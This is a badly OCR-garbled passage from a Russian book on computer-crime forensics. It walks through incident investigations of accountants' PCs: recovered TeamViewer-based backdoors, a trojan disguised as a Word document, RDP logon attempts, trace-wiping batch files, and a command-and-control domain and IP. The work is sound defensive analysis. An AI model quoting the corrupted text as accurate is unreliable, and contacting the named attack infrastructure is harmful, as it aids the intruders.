OopraHmu3ainuu, B TOM YMc/ie UCIIO/Nb3yeMble B OyXrajatepuu, ObUIM Ha-
TIpaBJIeHbl /i U3yUeHUsI CrielMaauCTaM.

B pesynbTaTe aHanm3a QaityioBoii CCTEMbI HOCUTEISI KOMITbIOTEPHO
mHpopMaLyy 6bl71a O6Hapy:KeHa MHGpOopMaIIus 06 orepauysx 1o ygaje-
HUIO HEKOTOPBIX AUPEKTOPUIT 1 daityioB (cM. puc. 2.3)>2.

[To 2701 epBMUHOI MHOpMaLIUM YyKe BUAHO, UTO JIUIIOM (MJIM JIUIIa-
MM), OCYII[ECTBUBIIMM HeIPaBOMepHbIe IeCTBUS, ObUIN TP PUHSITHI
TIOTIBITKY CKPBITh HEKOTOPbIE C/iefibl CBOE NesiTeIbHOCTY Ha KOMITbIO-
Tepe.

I Crarpst 159.6 YK P® «MoiieHHMUECTBO B cdepe KOMIIbIOTEPHOV MHOOpMALU».
URL: http://www.consultant.ru/document/cons_doc LAW 10699/51c53d82b60ac8c00
9745bdea3838d507064c6d3/.

2 BoccraHOoB/IeHMe MHGOPMAIIMY Yallle BCETO OCYIIEeCTBJISIeTCS CeluaaucTaMu mpu
TIOMOIIIY JABHO 3apeKoMeHI0BaBIIMX cebs mporpamm: R-Studio (r-studio.com, UFS
Explorer (rlab.ru) mimu komrmiekcoB ACE Lab (acelab.ru).


http://www.consultant.ru/document/cons_doc_LAW_10699/51c53d82b60ac8c009745bdea3838d507064c6d3/
http://www.consultant.ru/document/cons_doc_LAW_10699/51c53d82b60ac8c009745bdea3838d507064c6d3/
http://r-studio.com
http://rlab.ru
http://acelab.ru
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Puc. 2.3. Mngopmayus 06 ydaneHHbix patinax

3/I0YMBIIIVIEHMKMY C 11€JIbI0 MaKCYMMaJbHOTO 3aMe/lJIeHNsI peaKLuy Ha
XUIIEHNe TeHEeKHbIX CPeACTB MPAKTUYECKN BCEra BBIBOAST M3 CTPOSI
IporpamMMHoOe obecrieueHue, yaassisi OTaeabHble Gailyibl U IMPEKTOPUN
i (opmaTupys 3arpy304Hbie CEKTOPbI HOCUTenei nHbopMaIum.

B Tex opraHmsanusx, rae MHUuAeHTaM MHpopMaloHHOM 6e3o0rac-
HOCTM yaAesieTcsl He3aCay>KkeHHO Majo0 BHMMAaHMs, TaKue «ITOJTIOMKM»
VICTIPABJISIIOT B TeUEeHMEe HEeCKOJbKUX JHEeN CUCTeMHbIe aJMUHUCTPATO-
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pbI MM MIPUIJIAIIEHHbIE CIIeNUaJINCThI. B KauecTBe Mep pearnpoBaHMs
YyacTo MPUMEHSIeTCS TepeyCcTaHOBKa IMPOrpaMMHOI0 00ecIrieyeHust — OT
OIepaLMOHHON CUCTEMBI A0 MPUKIAJHBIX TPOTrPaMM.

YUuTbIBasi, YTO OOTBIIMHCTBO MOAOOHBIX MOIIIEHHNYECKUX IeiiCTBIIA
OCYILECTBJISIETCS aKKypaT repen BbIXOAHBIMU U TMpa3gHUKAMMU, Y 3710-
YMBIIIVIEHHMKOB B PAaCIOPSDKEHUM MMEEeTCSl JOCTATOUHOE KOIUYEeCTBO
BpeMeHM JJIs1 COBEePIIeHMST HECKOIbKIX ITOCIeAYIONIMX ITepPeBOIOB 1 06-
HAJIMUYMBAHUS CPELCTB.

B pesynbTaTe JasibHelilero udyueHusi HocuTesnss MHQoOpMalumn Bbi-
SIBJIEHO, YTO CpeAyu yaaJeHHbIX (aitjioB Ha KOMITbIOTEpe Oyxrajire-
pa Haxommnach aupektopus CADOCUME~1\Admin\LOCALS~1\Temp\
TeamViewer\Version6\, comepskaiasi (aiiibl IIporpaMMbl yIaJ€HHOTO
nocryna TeamViewer! (puc. 2.4).

-0 | gentesls [ [ Hame | Size | Created + | Madified | File1d | Parent1d |
~0 i genteeS1 O T Tearemer.exe 13695248 25.05.2016 15:23:5¢  29.10.2015 1711557 35869 53561
0L genteeCd O [ Teamviewer_2016-05-25-15-23-59 exe 13695248 25.05.2016 15:23:5¢ 29102015 171557 35865 53861
o Histary a MTEamV\EWEriDesktup‘exe 5301520 25.05.2016 15:23:55  29.10.2015 17:15:59 35871 53861
00 1L hsperfdata_admin 0 [ Teamiewer_Service.exe 5041936 25052016 15:23:56  29.10,2015 1711555 35872 53361
O g oc .\ O [ bv_waz.exe 230672 25.05.2016 15:23557  29.10.2015 16:2408 35673 53561
m:i‘gﬂpgm: — 1 [ Teamviewer_Resource_ar.dl 305424 25.05.2016 15:23:57  29.10,2015 17:16:09 35875 53861
O insta[diafr; e pnnnivader 0 kv _xed.exe 2639527 25.05.2016 15:23:57  29.10.2015 16:24:09 35874 53851
X 0 o b
0 iobitdbcense-tmp [ Teamiviewer_Resource_bg.di 348432 25.05.2016 15:23:57  29.10.2015 17:16:14 35678 53561
O ), Is-APESH tmp O [ Teamviewer_Resource_cs.dl 329486 25052016 15:23:57  29.10.2015 17:16:07 35861 53861
iy O [ Teamviewer_Resource_de.dl 358672 25.05.2016 15:23:57  29.10.2015 17:16:01 3548 53861
is-C7PYA.tmp
O isGENTE tmp 0 [ Teamtiewer_Resource_da.dl 323656 25052006 15:23:57  29.10.2015 17:16:36 35947 53561
00 | ds2452515.tmp 0 [ Teamiewer_Resource_el.dl 381712 25052006 15:23:57  29.10.2015 17:16:15 35949 53561
00 | jds21140.tmp O 3 Teamiewer_Resource_ss.dl 353552 25052016 15:23:57  29.10.2015 17:16:39 35951 53861
<O | jdsB654328.tmp 01 [ Teamtiewer_Resource_en.di 320272 25.05.2016 15:23:57  29.10.2015 17:16:02 35950 53851
<O jdsBee4593.tp 00 [ Teamiewer_Resource_fi.dl 327952 Z5.05.2016 15:2357  29.10.2015 17:16:31 35952 53561
O | KDTHP O [ Teamtiewer_Resource_fr.dl 57198+ 25052016 15:23:57  29.10.2015 17:16:34 35955 53861
O | mozila-temp-fies 01 [ Teamtiewer_Resource_he.dl 276240 25.05.2016 15:23:57  29.10.2015 17:16:16 35964 53851
O | Mozlpdater 0 [ Teamiewer_Resource_hr.dl 330728 25.05.2016 15:23:57  29.10.2015 17:16:18 35972 53561
00 1 msohtmiclin O [ Teamviswer_Resource_id.di 331024 25.05.2016 15:23:57  29.10,2015 17:16:20 35984 53861
mschtmlclipl a @Team\newerjesuur(e,hu.dH 340456 25,05.2016 15:23:57  29.10.2015 17:16:19 35980 53861
0 MSSQH 00 [ Teamviewer_Resource_it.dl IETI36 25052006 15:23:57  29.10.2015 17:16:35 35990 53561
.“D)( "sqsﬁ'tmp 0 [ TeamViewer_Resource_ja.di 216336 25.05.2016 15:23:57  29.10.2015 17:16:06 35995 53861
nEUEE.tmp O [ Teamviswer_Resource_ka.di 214286 25052016 15:23:57  29.10.2015 17:16:03 35996 53861
O | plugtmy
ax ;;;Dfm . 1 [ Teamtiewer_Resource_k.dl 349968 25.05.2016 15:23:57  29.10.2015 17:16:21 35997 53851
0% rad0sso 00 [ Teamiewer_Resource_nl.di 347408 25.05.2016 15:23:57  29.10.2015 17:16:38 35998 53561
01 ) ref 5008E908 O [ Teamviewer_Resource_no.dl 32334% 25052016 15:23:57  29.10.2015 17:16:32 35999 53861
[y — 0 [ Teamtiewer_Resource_pl.dl 347920 25.05.2016 15:23:57  29.10.2015 17:16:13 36000 53861
RSEngineTemp 0 1 Teamviewer_Resource_pt.dl 31776 25052006 15:23:57  29.10.2015 17:16:40 36001 53561
stoped_dir1348_7a24 00 3 Teamiewer_Resaurce_pu.dl 341776 25052016 15:23:57 29102015 17:16:05 36003 53561
scoped_di348_7o63 O [ Teamviewer_Resource_ro.dl 363780 25052016 15:23:57  29.10.2015 17:16:22 36002 53861
scoped_dir1840_4277 1 b Teamtiewer_Resource_sk.dl 336144 25.05.2016 15:23:57  29.10.2015 17:16:23 36006 53851
scoped_dir2008_21230 0 [ Teamiewer_Resource_sr.di 337680 25.05.2016 15:23:57  29.10.2015 17:16:24 36007 53561
scoped_dir2008_21266 a @Taam\newar_Rasnurce_sv‘d\l 322320 25.05.2016 15:23:57  29.10.2015 17:16:33 36008 53861
scoped_dir3326_19523 a MTeamv\ewerjesuur(e,th.dl\ 319760 25.05.2016 15:23:57  29.10.2015 17:16:26 36009 53861
SCDDEd_d!V3323_19562 0 [ Teamviewer_Resource_tr.di 332560 25.05.2016 15:2357  29.10.2015 1711611 36010 53861
SCDPEd_d!V3“2°_29337 0 [ Teamviewer_Rescurce_uk.di 342500 25.05.2016 15:23:57  29.10.2015 17:16:27 36011 53861
5“’“:7:"3420729375 1 Y Teamviewer_Resource_zhCH.dI 175376 25.05.2016 15:23:57  29.10.2015 17:16:10 36013 53851
sznped,dlr;TEDE:xZE 01 [ Teamtiewer_Resource_vi.dl 353160 25.05.2016 15:23:57  29.10.2015 17:16:28 38012 53861
EEZDZ.{J e anast O [ Teamviewer_Resource_zhTw!,di 179084 25.05.2016 15:23:57  29.10.2015 17:16:29 36014 53861
Po A 00 O [ Teamviswer_staticRes.dl 3996952 25.05.2016 15:23:57  29,10.2015 L7:15:59 36015 53861
Teamiiewer
T O ke _wazdi 248592 25052016 15:23:58  29.10.2015 16:24:07 36023 53861
0 | Temporary Intemet Fies 0 [ty _ed.di 272656 25.05.2016 15:23:55  29.10.2015 16:24:08 36024 53561
O trashcxtraspis 0 [ bvinfo.ini 42 25052016 15:23:58  25.05.2016 15:24:04 35794 53561
0, vBstpd 0 [ Connections_incoming.kxt 116 25.05.2016 15:36:11  25.05.2016 15:36:11 35892 53861
o, vee B 0 F7ta 1078 25.05.2016 15:53:20  25.05.2016 15:53:20 30249 53851
N1 I =

Puc. 2.4. Mngopmayus 06 yoaneHHsix adinax

! TeamViewer — makeT IIPOrpaMMHOTO oGecTieyeHus IJid YOAJIEHHOTO KOHTPOJIS
KOMITbIOTEPOB, 0OMeHa (aiiaMy MeXKIY YIIPaBJSIONIel M YIIpaB/sieMoii Mallu-
HaMWN.
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[Touck cpeay BOCCTAHHOBJ/IEHHbIX (PailyioB BpeOHOCHOTO MPOrpaMM-
HOro obecriedeHus faJl CAeqyIOIuii pe3yabTaT!:

\A0120701.exe
RemoteAdmin.Win32.Agent.gen

\WINDOWS\system\wmiprvse.exe
RemoteAdmin.Win32.Agent.gen

WINDOWS\system\wmiadap.exe
RemoteAdmin.Win32.Agent.gen

\A0112433.exe
Trojan-Spy.Win32.Teamspy.ca

\Documents and Settings\Admin\Paboumit cTon\AA_v3.4.exe
RemoteAdmin.Win32.Ammyy .xkg

\Documents and Settings\Admin\Application Data\TeamViewerUpdate\2.exe
Trojan-Spy.Win32.Teamspy.ca

AnHanus ¢ailyioBoil CTPYKTYPbI ¥ COOBITMIT B ONEpalMOHHON CUCTeMe
rokasai, uto B nupekropun \Documents and Settings\Admin\Application
Data\Div\ B mepmop MHIIMAEHTa ObUIV CO3/IaHbI CJIemytolye (aiibl (puc. 2.5):

avicap32.dll

cfmon.exe

scankey.pg
TeamViewer_Desktop.exe
TeamViewer Resource en.dll

tv.cfg

tv_w32.d11

tv_w32.exe

tv_x64.d11

tv_x64.exe

= .. <Mankaz
I avicap32 dil 44 544
I cfmon exe 7293 280
I scankey pg 2049
| TeamYiewer_Desktop exe 2 163 040
I TeamYiewer_Resource_en dil 1276 256
I'by cfg 897
I tv_w3z dil 50 528
I bv_w32 BXe 108 896
| tv_x6d dil 53 600
I by_xb4 exe 144 730

Puc. 2.5. Ckpeimeie gatinel 8 dupekmopuu \Div\

! HasBaHMSI BpeJOHOCHBIX IMPOTrPaMM IIPUBEAEHbI 10 KaaccudUKaIMM aHTUBUPYCHO-
ro ITO AO «JIabopaTopust Kacriepckoro».



ATAKA C MCNONb30BAHMEM «3ABPOCA» BPEAOHOCHbIX MPOTPAMM 93

—————————————

Cpenu HUX Takke ObIa OOHApyKeHA BpeIOHOCHAS IMporpaMMa:

\Documents and Settings\Admin\Application Data\Div\avicap32.dll
Backdoor.Win32.TeamBot.z

OobnapykeHHasi pa3HOBMUIHOCTb 69Kmopa (Backdoor.Win32.TeamBot)
o67aaeT BO3MOXKXHOCTBIO YITPaB/ISITh daiiaMu 1 marnkaMy Ha 3apakeH-
HBIX KOMITbIOTEPAX, a TaKKe UCII0/Ib30BaTh IIMPOKO pacpoCcTpaHeHHbIe
CpelCcTBa yoaJleHHOro agMuHucTpupoBanusi TeamViewer. [1J1s1 aTaku UC-
T0JIb3yeTCs ITporpamMma yaaleHHOTO aAMUHUCTPUPOBAHMSI, pacIIpoCcTpa-
Hsiemasi COBMeCTHO ¢ BpenoHocHbIM dll-daitiom 1 3aumppoBaHHBIMU
B ¢aitne koHGUTYypalMK MMapamMmeTpamMmu IJisl TIOAKIIOUeHUSI K cepBepy
yIIpaB/IeHUSI.

HeckonbKO Bepcuit TporpaMm yoajeHHOro JOCTyMa MOKeT HaTOJIK-
HYTb Ha MbICJIb O TOM, YTO KTO-J1OO M3 COTPYAHMKOB YCTAHOBWJI Ha
KoMIIbIOoTep yKazaHHoe I10 1, BbiOpaB ya006HOe BpeMsi, IpOBes HeCaHK-
IIMOHMPOBAHHbBIE OTepalyn.

AHanus XypHaJIOB OMepaliOHHO CHUCTeMbl BbISIBIJI, UTO TTOSIBJIeHE
BpeIOHOCHBIX (aitjioB Ha KOMITbIOTEpe HauaJloCh OJHOBPEMEHHO C 00-
paliieHeM Mojib30oBaTesis K ¢daiiaM ¢ HaMMeHOBaHUSIMMU:

O «mucbMo HasororiaTenbinykam_7dd599820d...»,
Q «Paccpiika UOHC 23129e60c107...».

B pesysibTaTe MpoBeIeHHOTr0 aHa/IM3a KOMITbIOTepa IJTaBHOIo OyxXras-
Tepa B aupekTopun «Documents and Settings\Admin\Application Data\
Div\» o6HapyskeHbI CKpbIThIE (aiiabl: avicap32.dll, cfmon.exe, scankey.pg,
TeamViewer Desktop.exe, TeamViewer Resource en.dll, tv.cfg, tv_ w32.
dll, tv._ w32.exe, tv_x64.dll, tv_x64.exe, cpeay KOTOPbIX HAXOAUTCSI IIPO-
rpaMMma yganeHHoro moctyra TeamViewer Remote Control Application,
3aMacKMpOBaHHAs I0f, CUCTEMHbI MPOLIeCC OIepalMOHHONM CUCTEeMBbI
cfmon.exe (s13pIKOBasI MaHesb) 1 avicap32.dll, oTHocsIAsICS K BpeooOHOC-
HbIM mporpaMmmam Tura «Backdoor».

O6HapyskeHHbIe (aiiyibl ¥ JaHHbIE CMCTEMHBIX KYPHAJIOB yKa3bIBa-
IOT Ha OCYIIeCTBJIeHME yIaJeHHOr0 HeIIpaBOMEPHOIO IOCTYIIa K ore-
pPaIMOHHOM CHUCTeMe IOCPeACTBOM IIPOTpaMM YAAJEHHOTO IOCTyIIa
U BpeJOHOCHBIX KOMITBIOTEPHBIX IIPOrpaMM, ITpegHa3HAUeHHbIX /IS He-
CaHKI[MOHMPOBAHHOTO YHUUTOKEHMSI, MOAMGUKALIMM U KOMMPOBAHMUS
KOMIBIOTEePHOJ MHGOpMAIIN.

Kak 1okasasn ompoc Gyxranarepa, Ipy OTKPBITUM HEKOTOPBIX ITOJTY-
YEHHBIX 110 3JIEKTPOHHO mouTe (GaiaoB IIporpaMmma, mpeJHasHaueHHast
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1711 TPOCMOTpa JOKYMEHTOB, «pyrHy/Jach» Ha MOBpeXAeHHbIe (aiiibl,
HO Ha 3TOT He3HAauMUTeIbHbII MHIMAEHT HUKTO BHMMaHMS He 0OpaTuJ.

PaccmoTpuMm aHanms gpyroro rnoxoxero MHUUAEeHTa.

Ha koMmbloTepe mocjie BOCCTaHOBIeHMsT (haitioB MpoM3BeeH aHaIu3
SKYpHAJIOB COOBITUI! OIepalMOHHOV cucTeMbl. JKypHasIbl COOBITHII CO-
IepskaT 3amucy O IPOrPaMMHBIX U allllapaTHbIX COOBITUSIX.

B sxypHase cobpiTuii SysEvent.Evt (puc. 2.6) comepskaTcsi MHOTOUMC-
JIeHHbIe 3ancu (B JHEBHOE ¥ HOUHOe BpeMmsl):

VoaneHHwlii cearHc om KaueHma no umeHu a npessicul MakcumdaiibHoe
uucio HeyaallelX nonstmok 8xoda. Ceac 0oL nptuaumeJleo 3d6€epPuleH.

AppEventBit | SystventEvt X | Intemetevt | SecEventEvt |

U1 1 A | showing 3418 event(s) | RAW
vpe |Date [Time Event |Source Category [user Computer
(i) Informatian 16102015 140603 £4002  windows File Pratection e A PC3
i) Infarmation 16102005 14:06:03 £4002 | winddows File Pratection e nja =
(i) Informatian 16102015 140603 £4002 | windows File Pratection e A PC3
% i:::::::z: ::12221: ::jg:jgj &, Event Properties - File: H:\WINDDWS'system32\config)SysEve =1ol x| 22
O Error 16.10.2015 standard PC3

Date: 16.10,2015 Source:  Termervice r | N—

(i) Informatian 16102015 115626 _||[pe=
(i) Information 16.10.2005  11:56:16 = AR al=n _I FC3
i) Informatian 16.10.2015 1156106 Type: Information EventID: 1012 PC3
(i) Informatian 16102015 1LESS =g o PC3
i) Infarmation 16102005 115547 =
i) Infarmation 16102015 115538 cmprEn e PC3
(i) Information 16.10.2015 115529 Description: [Z=]
I Error 16102015 115528 ' PC3
i) Infarmation 16102005 115519 =
(i) Infarmation 16102005 115509 =
(i) Informatian 16102015 115500 PC3
i) Infarmation 16102005 115450 =
(i) Informatian 16102015 1L5hH =l PC3
i) Infarmation 16102005 115431 =
i) Infarmation 16102015 1LEnze | Do e levee B BT [0 orcs PC3
i) Informatian 16102015 115413 | PC3
i) Infarmation 16102005 115403 =
(i) Informatian 16102015 11533 PC3
i) Infarmation 16102015 115344 [ =
(i) Informatian 16102015 1L5R3S PC3
) Irformation anonis iisses | Lookupin: Event ID Datahass Microsoft Knovledge base Close | s
D Information 16.10.2015 11:53:16 PC3
(i) Informatian 16102015 115307 1012 | Termservice e A PC3
i) Infarmation 16102015 1LEZST 1012 Termervice e nja =
§ [ 2anen o coaHC 0T KAHENTE M0 HITer# @ MDESEICHA HAKCHITENEHDE HMCND HEY AZMHER NONSITOK EX0A3, CEaHT Boin NpHTHy AHTENEHG Ja08nuer,
H

Puc. 2.6. XypHan cobbimutl SysEvent.Evt

IlaHHbIe COOOIIEeHMsI MOTYT YKa3biBaTh Ha OTKPBITHIN MOPT 3389 uc-
CJIefyeMOoro KOMIbITepa, Ha KOTOPBIN 4yepes3 JIOKAJbHYIO CeThb (U
ceTb IHTEpHET) OCYILEeCTBIISIIUCH ITONBITKM COeVHEeHMS] [TPOTPAMMHOT0
obecrieueHMsI, UCIIONb3YIOIIero mpotokoa RDP (aHri. Remote Desktop
Protocol) — mpoTokon yganeHHOro pabouero crosna.

U JKypnan cobsituii (aurn. Event Log) — B8 OC Microsoft Windows.
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OyHKIMS YOAJIEHHOTO pabouyero CToja IMpemoCcTaBisieT AOCTYM KO
BCEM ITpoTpaMMaM, pecypcam ¥ BO3MOXKHOCTSIM KOMITbIOTEpa C JII060T0
I Pyroro KOMIIbIOTEepa.

B pe3ynbTaTe BOCCTaHOBJIEHMSI M aHA/IM3A yAAT€HHbIX JaHHBIX BbI-
SIBJIEHO, UTO B AUPEKTOPUM

«C:\Documents and Settings\user\Application Data\AdobeTemp»

HaXOOWINCh caemylonine ¢aiabl (puc. 2.7):

rundll.exe

TeamViewer_Desktop.exe
TeamViewer_ Resource_en.dll

rdw.pg

tv_x64.exe
tv_w32.exe
tv_x64.d11

tv_w32.d1l1
installvpn.pg
scankey.pg
tv.cfg
x‘ Cantents
E-0O L All Users ;I Name size | Created ~ | Modified Filed | Parent1d
O | Default User [ERNES 0 16.10.2015 12:38:05  16.10,2015 14:05:06 215568 215567
00 L LocatService O ) xed 0 16.10.2015 12138105 16.10.2015 14:05:08 215582 215567
B0 L MetworkService 01 B bv_xet.dl 53600 16.10.2015 12:38:06  19.02,.2013 11:58:13 221187 215567
L user O 3 bv_waz.dl 50528 16.10.2015 12:38:06  19.02,2013 11:59:12 221174 215567
O 0 oracle_yre_usage O 1 Teamviewer_Resource_en.dl 1276256 16,10,2015 12/38:06  19.02.2013 14:02:08 220985 715567
e-n = Appication Data O B#lev_xt4.exa 144736 16.10.2015 12:38:06  19.02.2013 11,5013 218409 215567
otk ;EFACEC% O B _wiz.exe 108696 16.10.2015 12:38:06  19.02.2013 115012 218170 215567
B0 L Acronis O [ Teamviewer_Deskiop.exe 2163040 16.10.2015 12:38:06  19.02.2013 14:02:01 218165 215567
o0 b 00 Bélrundl.exe 7293280 16.10.2015 12:38:05  19.02,2013 14:02:00 218127 215567
B0 e O [ scankey.pa 2049 16.10.2015 12:38:05  18.09,2015 %:08:55 215600 215567
B0 |, Audacky O [ rew.pg 440833 16.10.2015 12:38:05  18.08.2015 5:08:55 215599 215567
O | ConsulkantPlus O [ installvon.pa 3565 16.10.2015 12138105 18.08,2015 :06:55 215508 215567
0} Foxit 0 [edtv.ciq 830 16.10.201512:38:05  21.09.2015 15:44:41 215588 215567
-0 | Fosdt Softwars
| Help
-0 Identities
E-0O L Macromedia
O | Malwarebytes
O 1 Media Player Classic
B0 ) Microsoft
[m] Mozilla
[m] Oracle
-0 1) sun
O | Teamviewer
0L THP
-0 vie
-0 WinRAR
-0 Cookies
- | Doctorweb
O . dwhelper
O || IETidcache
£+ |} Local Settings
-0 Application Data
a Apps
-0 | Hiskory
a Histaty. JES
B0 L Temp

-0} _TS104F kmp

Puc. 2.7. XypHan cobeimudi SysEvent.Evt
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B pesynbTaTe rmovcka mHbopmalum cpeay BOCCTaHOBIEeHHbIX (aiiioB
TaKke 0OHapyykeH ¢aii, SBaswoIuiics jor-daitaom mporpammbi «Team-
Viewer», UCTIOMb3yeMoO¥i [IJ1S1 yIaJ€HHOTO JOCTYTIa:

\Documents and Settings\user\Application Data\TeamViewer\
TeamViewer6_Logfile.log

B mpoiiecce BOCCTaHOBJIEHMS U aHa/IM3a yaaaeHHOM MHpoOpMaInun
obHapyskeHbI cienyooiue ¢aiiibl (puc. 2.8):

O Documents and Settings\user\Local Settings\Temp\HoBbIi1 TOKYy-
MeHT B popmate Word.rar//HoBbiit mokymeHT B popmaTte Word.exe;

O Documents and Settings\user\Local Settings\Temp\daiiibi.zip//
Hosbli1 fokymMeHT B popmaTe Word.exe.

O oracle_jre_usage o 42360 05.10.2015 16:57:54

-0 s Applcation Data u] 42300 05.10,2015 16:58:02

-1y Cookies O 42390 05.10.2015 16:59:10

"S g;;t;;\fb ul 42300 05.10,2015 16:59:25

O} Enidcache O 42300 05.10,2015 16:59:49

£-0 ), Local settings = 61066 05.10,2015 17:45:30

@0 )} Anglicstion Data = 27540 07.10,2015 18:496:03

01 ) Apps o G012 07.10,2015 16:46:17

O | History o | B

=0 ul (| 1695344 13.00,2015 15:40:52

®-0 Temparary Internet Files o ¢ 278528 13.10.2015 15:45:43

01 ), NetHood = 278528 13.10.2015 15:55:14

O . PrintHood =i 26520 13.10,2015 16:49:17

-0 PrivaclE [m] 106496 13.10,2015 16:49:34

O | Recent O 32768 13.10,2015 20:25:38

01 SendTo —lo xam@ 24576 13.10,2015 20:26:18

B0 U UserData O 3 e Z7PS4D 13.10,2015 20:27:14

B0 L Tastos went O 3 auia s 73728 13.10,2015 2002737

-0 g vafpanos O % knligasy 41865 15.10,2015 11:50:58

E E : ::;;E;’;'::Tb' o : L T raai 539771 15.10,2015 130203

O st 0 % kenran 105664 16.10,2015 9:55:53

.0 ) ErdundoCache O % Kenrarps-1 ook 105664 16.10.2015 9:56:17

0 1L Hp_Scans O % Kenraruns 106410 16.10,2015 9:56:39
O L Intel =
‘O MDA o
‘0 L pehd o

1 L. Program Files | O Bl~orizsatmp 16.10.2015 13:45:05

Puc. 2.8. XypHan cobbimuti SysEvent.Evt

@aiin «HoBbIlt mokymeHT B dopmaTe Word» ¢ paciuimpeHnem «.exe»
pasmelancs B IByX apxuBax «HOBbIV mokymMeHT B ¢popmare Word.rar»
1 «(aiiyibl.Zip», 0OHApY>KeHHbIX BO BpeMeHHOI1 Tarke MMojb30BaTersl.

OG6Hapy>keHHbI haiii ABIsIeTCS pa3HOBUIHOCTHIO BPeIOHOCHOI Tpo-
rpammbl Backdoor.Bot, ckommmnupoBanHoii 16.10.2015 B 06:08:13, moc-
Jie 4ero 3J0yMBbIIIJIEHHMKOM IMpPOBeJleHa IMpoBepKa Ha pecypce https://
www.virustotal.com 16.10.2015 B 07:57:04. Hago ckasaTb, YTO Ha MOMEHT
TEePBUYHON MPOBEPKM JaHHAs MporpaMMa aHTMBUPYCHBIM IIPOTrpaMM-
HbIM OobecIieueHMeM Kak BpeJOHOCHAasI He OIpe/esisyiach.

AHanu3 06Hapy>keHHOI1 TPOrpaMMbI ITO3BOJISIET ONPee/IUTh BpeMsl ee
KOMITWJISILIMM (CO3IaHMs), @ Takke ee GYHKIMOHATbHbIE BO3MOKHOCTH.


https://www.virustotal.com
https://www.virustotal.com
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Kpome Toro, BHMMaTenbHOE UCCIeJOBaHNe BPeLOHOCHOV IIPOrPaMMbl
MOKET JaTh MHOXXECTBO IM0JIe3HO nH(OpMaIy AJ1s1 JabHeIIIero pac-
wlenoBaHMs MHIMAEeHTa. Tak, MOXKHO YCTAHOBUTD CEpBepPbl, Ha KOTOPbIe
BPEIOHOCHOI IpOrpaMMOi OTIIpaB/suiach MHGOpMAIINUS U THe MOXKET
pacrionaraThbCs MaHeb yIIpaBJIeHUs.

OrnepaTBHOE OTCIEXMBaHME TAKNX CEPBEPOB MO3BOJISIET NIPeCeKaTh
IesiTeJIbHOCTDb 3JI0YMBIIVIEHHUKOB M IIPUBOOUTD [esTelIbHOCTb Bpeno-
HOCHOJ1 ITPpOTpaMMbI K 6eCCMbIC/IEHHOMY MCHoMHeHNIo0. Eciu BpeoHoc-
Has mporpamMma Tuma 63Kaopa He IOJydaeT KOMaH[I U JuiieHa obpart-
HOJ1 CBSI31, €e HaXOXAeHNe B CUCTeMe He CMOXKeT IMPUBECTU HU K KaKUM
IJIaYeBbIM ITOCIeICTBUSIM.

Kak mpaBuio, QyHKIMOHAI 63KI0pa BKIIOUAET B CeOSI OMOBeIeHNe
3JIOYMBIIIVIEHHMKA O (paKTe ero 3amycka (ycTaHOBKM). Ml oOHapy:keHHast
Pa3sHOBUIHOCTH TAKKe COAEP>KUT BO3MOKHOCTb cOOpa 1 OTIIpaBku daii-
JIOB U Apyroii MHbopMalum nocpeacTBOM IOYTOBOTO CepBica.

B nipuBeneHHOM IpuMepe aHa/IU3 BPeJOHOCHOM IIPOrpaMMbl II03BO-
JINJ BBISIBUTH CETEBYI0 aKTUBHOCTb M YCTAHOBUTD PeCypPChbl, K KOTOPbIM
obpamianacek nmporpamma: IP-agpeca u ymaneHHble OpThl. Ecin mpa-
BWIbHO U CBOEBPEMEHHO MCI0/Ib30BaTh MOMyUYeHHYI0 MHGOpMAaI[iio, OHa
MOXXeT MHOTOKPATHO YBEJIMUMUTH IIAHChI HA PACKPBITHE TIPECTYIIEHUS
U YCTAHOBJIEHME 3/I0YMbIIIIEHHUKOB.

AHanM3 ceTeBOI aKTMBHOCTY yKa3bIBAaeT Ha OOpaleHye mporpaMMbl
(o6MeH maHHBIMM) K pecypcey http://lastsnow.link/, Ha MOMeHT BpeMe-
HM TIPOBeAEeHNsI JAHHOTO UCC/IeA0BaHMs YKa3aHHbI pecypc pa3MmelleH
Ha cepBepe ¢ [P-agpecom 109.236.90.125. AHanu3 ceTeBOii aKTUBHOCTHU
MporpaMMbl yKa3bIBaeT Ha obpaieHue K [P-aagpecy 109.236.90.125 c uc-
rnoyib3oBaHuem ropra 80.

@OyHKIMOHA TPOTPAMMBI COIEPKUT BO3MOXKHOCTb OTIPaBKu (aii-
JIOB U Apyroii MHbopMalu MocpeCcTBOM IMOYTOBOIO cepByca gmail.com.
[Iporpamma mpenHa3HavyeHa [Jis1 HECAHKIMOHMPOBAHHOTO YHUUTOXE-
HUSI, 6JTIOKMPOBaHMS, MOAM(UKAIMY, KOTTMPOBAHMSI KOMITHIOTEPHO VH-
dbopmanym, mpegocTaBieHMs YIaJeHHOTO HeITPaBOMEPHOTO AOCTYIIA.

B mpotiecce BOCCTaHOBJIEHUS M aHA/IN3a YAAJIeHHOV nH(popmaium 06-
Hapy>KeHbI TaKke KOMaHIHbIe (aiibl (IIPOrpaMMbl), TpeaHa3HAUeHHbIE
st MoavipuKaum U yaaneHus naGopManmn:

sys.bat 16.10.2015 13:39
dechoc.bat 16.10.2015 13:43
dechod.bat 16.10.2015 13:46
dechoe.bat 16.10.2015 13:48
dechog.bat 16.10.2015 13:49


http://lastsnow.link/
http://gmail.com
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BbIsiBIeHHbIe KOMaHIHbIe (aiiyibl 6bIIM CO3aHbl Ha aycke «C» B Ie-
puop BpeMmenn ¢ 13:39 mo 13:49 16.10.2015, mocie yero ObLIM aKTUBM-
3MPOBaHBI (3aMyIIeHbI), HA YTO YKA3bIBAIOT 3aIMCH B SKypHaJie COObITHIA
SysEvent.evt.

CaoiicTBa (paiiyioB M 3aIMCK B KypHaIaxX COOBITUIA YKa3bIBAIOT Ha TO,
YTO K OIEepalyOHHON cyucTemMe ObII COBEpINeH MOCTYI IMOCPEeICTBOM
JIOKAJIbHOM ceTy Wiy ceTu MHTepHeT, Ioc/ie Yero, C 1ebl0 COKPBITHUS
CJ/1e10B, 37I0YMBIIIIJIEHHMKOM ObUIV CO3/IaHbI M 3aITy1I[eHbI 1)1 MCITIOTHEeHUST
KOMaHAHbIe (aiiibl, IpegHa3HaueHHble 15 yaaneHus ¢aitios.

OueBMIHO, UTO KOMITbIOTEP ObUT BHIOpPAH HE CIy4YaifHO, HAa 9TO yKa-
3bIBAIOT MHOTOUMCJIEHHbIE TTOMBITKY MOAK/IIUEHMI C UCII0/Ib30BaHMEM
nporokosia RDP, KoTophie, OTHAKO, YCIIEXOM He YBEeHYaJMCh. BbIT ObI
MapoJib IPoIlle, 3JI0YMBIIIJIEHHUKY He Mepelniu Obl K 1aHy «b» cBoeii
